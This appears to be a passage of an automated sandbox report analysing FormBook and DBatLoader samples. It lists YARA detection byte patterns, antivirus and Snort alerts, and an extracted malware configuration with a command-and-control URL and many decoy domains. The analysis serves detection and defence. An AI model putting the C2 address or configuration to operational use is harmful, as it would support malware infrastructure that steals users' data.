21.2.Hyrzbcwcas.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.2.Hyrzbcwcas.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
21.0.Hyrzbcwcas.exe.400000.4.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
21.0.Hyrzbcwcas.exe.400000.4.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.0.Hyrzbcwcas.exe.400000.4.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
21.0.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
21.2.Hyrzbcwcas.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
21.2.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.2.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
17.0.Hyrzbcwcas.exe.400000.4.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.0.Hyrzbcwcas.exe.400000.4.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.0.Hyrzbcwcas.exe.400000.4.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
9.0.WZ454554.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
9.2.WZ454554.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.2.WZ454554.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.2.WZ454554.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
17.2.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.2.Hyrzbcwcas.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.2.Hyrzbcwcas.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
9.0.WZ454554.exe.400000.4.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.0.WZ454554.exe.400000.4.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.0.WZ454554.exe.400000.4.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
9.1.WZ454554.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.1.WZ454554.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.1.WZ454554.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
9.0.WZ454554.exe.400000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
17.0.Hyrzbcwcas.exe.400000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
14.0.Hyrzbcwcas.exe.400000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
13.0.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
17.0.Hyrzbcwcas.exe.400000.5.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.0.Hyrzbcwcas.exe.400000.5.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.0.Hyrzbcwcas.exe.400000.5.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
14.0.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
9.0.WZ454554.exe.400000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
17.0.Hyrzbcwcas.exe.400000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
2.0.WZ454554.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
21.0.Hyrzbcwcas.exe.400000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
17.0.Hyrzbcwcas.exe.400000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
21.0.Hyrzbcwcas.exe.400000.5.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
21.0.Hyrzbcwcas.exe.400000.5.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.0.Hyrzbcwcas.exe.400000.5.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
17.0.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 67 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.spiegelpherese.com/m9g2/"], "decoy": ["pubgnewstatedl.com", "guidedwaveradar.com", "onlineexitpoll.com", "mutationdesign.com", "p60p.com", "xhcaijing.com", "skpcart.store", "houseathomes.com", "thenorthdale.com", "kvkkkararozetleri.com", "formecondominium.com", "7808lll.com", "mitchfletcher.com", "thatsawrapfl.com", "glrinternationalfzco.com", "dbmxkgek.com", "feelingfancy.com", "nishieihuku.com", "newearthhg.com", "tenlog040.xyz", "savche.xyz", "solarofoundation.com", "sk8.network", "schooljoy.net", "ioannismitsialisgerman.online", "hooklinen.com", "gorgeousingems.com", "directusimmigration.com", "nexxt.info", "itecsecure.com", "chairsexpert.com", "yandex-check.online", "ivdripspace.com", "sentlogisticsja.com", "mdk-clothing.com", "quick2repair.net", "thisflippingfamily.com", "lu-dra.xyz", "degenape.art", "evodiocese2022scm.com", "churchofrocknroll.com", "visionaryblock.com", "jornalonlinealagoas.com", "rainbow-of-light.com", "oblical.com", "preserveliqueur.com", "morbidthings.com", "panoramaregency.com", "iphone13promax.review", "gongyingmi.com", "xqzs72.com", "sgmoda.com", "boogiereaper.com", "bitesofwellness.online", "backdad.com", "freeimperia.com", "senerants.tech", "029yu.xyz", "dhakhtar.net", "cnclighting.com", "iplmatchwinner.com", "thpt.space", "naris.net", "hamgirls.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: WZ454554.exe	Virustotal: Detection: 22%			Perma Link
Source: WZ454554.exe	ReversingLabs: Detection: 39%

Yara detected FormBook

Show sources

Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\Contacts\Hyrzbcwcas.exe

ReversingLabs: Detection: 39%

Source: 9.2.WZ454554.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.1.Hyrzbcwcas.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.1.Hyrzbcwcas.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.2.Hyrzbcwcas.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.2.Hyrzbcwcas.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.1.WZ454554.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: WZ454554.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49751 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: WZ454554.exe, 00000009.00000002.408286110.0000000000A90000.00000040.00000001.sdmp, WZ454554.exe, 00000009.00000002.409087872.0000000000BAF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429687044.0000000000B5F000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429448664.0000000000A40000.00000040.00000001.sdmp, help.exe, 00000014.00000002.559731759.00000000031E0000.00000040.00000001.sdmp, help.exe, 00000014.00000002.560116485.00000000032FF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437079630.0000000000980000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000003.420862619.00000000007E0000.00000004.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437691847.0000000000A9F000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.431480106.00000000037E0000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.433718675.00000000038FF000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437536905.00000000033C0000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437717560.00000000034DF000.00000040.00000001.sdmp
Source:	Binary string: cmd.pdbUGP source: Hyrzbcwcas.exe, 00000011.00000002.432784499.0000000000DD0000.00000040.00020000.sdmp, cmd.exe, 00000019.00000000.427671130.0000000000D80000.00000040.00020000.sdmp, cmd.exe, 00000019.00000002.430750073.0000000000D80000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: WZ454554.exe, WZ454554.exe, 00000009.00000002.408286110.0000000000A90000.00000040.00000001.sdmp, WZ454554.exe, 00000009.00000002.409087872.0000000000BAF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, Hyrzbcwcas.exe, 00000011.00000002.429687044.0000000000B5F000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429448664.0000000000A40000.00000040.00000001.sdmp, help.exe, 00000014.00000002.559731759.00000000031E0000.00000040.00000001.sdmp, help.exe, 00000014.00000002.560116485.00000000032FF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437079630.0000000000980000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000003.420862619.00000000007E0000.00000004.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437691847.0000000000A9F000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.431480106.00000000037E0000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.433718675.00000000038FF000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437536905.00000000033C0000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437717560.00000000034DF000.00000040.00000001.sdmp
Source:	Binary string: help.pdbGCTL source: WZ454554.exe, 00000009.00000002.408113212.0000000000659000.00000004.00000020.sdmp, WZ454554.exe, 00000009.00000002.413836751.0000000002A50000.00000040.00020000.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437020676.0000000000950000.00000040.00020000.sdmp
Source:	Binary string: help.pdb source: WZ454554.exe, 00000009.00000002.408113212.0000000000659000.00000004.00000020.sdmp, WZ454554.exe, 00000009.00000002.413836751.0000000002A50000.00000040.00020000.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437020676.0000000000950000.00000040.00020000.sdmp
Source:	Binary string: cmd.pdb source: Hyrzbcwcas.exe, 00000011.00000002.432784499.0000000000DD0000.00000040.00020000.sdmp, cmd.exe, 00000019.00000000.427671130.0000000000D80000.00000040.00020000.sdmp, cmd.exe, 00000019.00000002.430750073.0000000000D80000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 4x nop then pop esi
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 4x nop then pop esi
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 4x nop then pop ebx
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 4x nop then pop edi
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 4x nop then pop esi
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 4x nop then pop esi
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 4x nop then pop ebx
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 4x nop then pop edi

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49817 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49817 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49817 -> 34.102.136.180:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.sentlogisticsja.com
Source: C:\Windows\explorer.exe	Domain query: www.senerants.tech
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.spiegelpherese.com/m9g2/

Source: global traffic

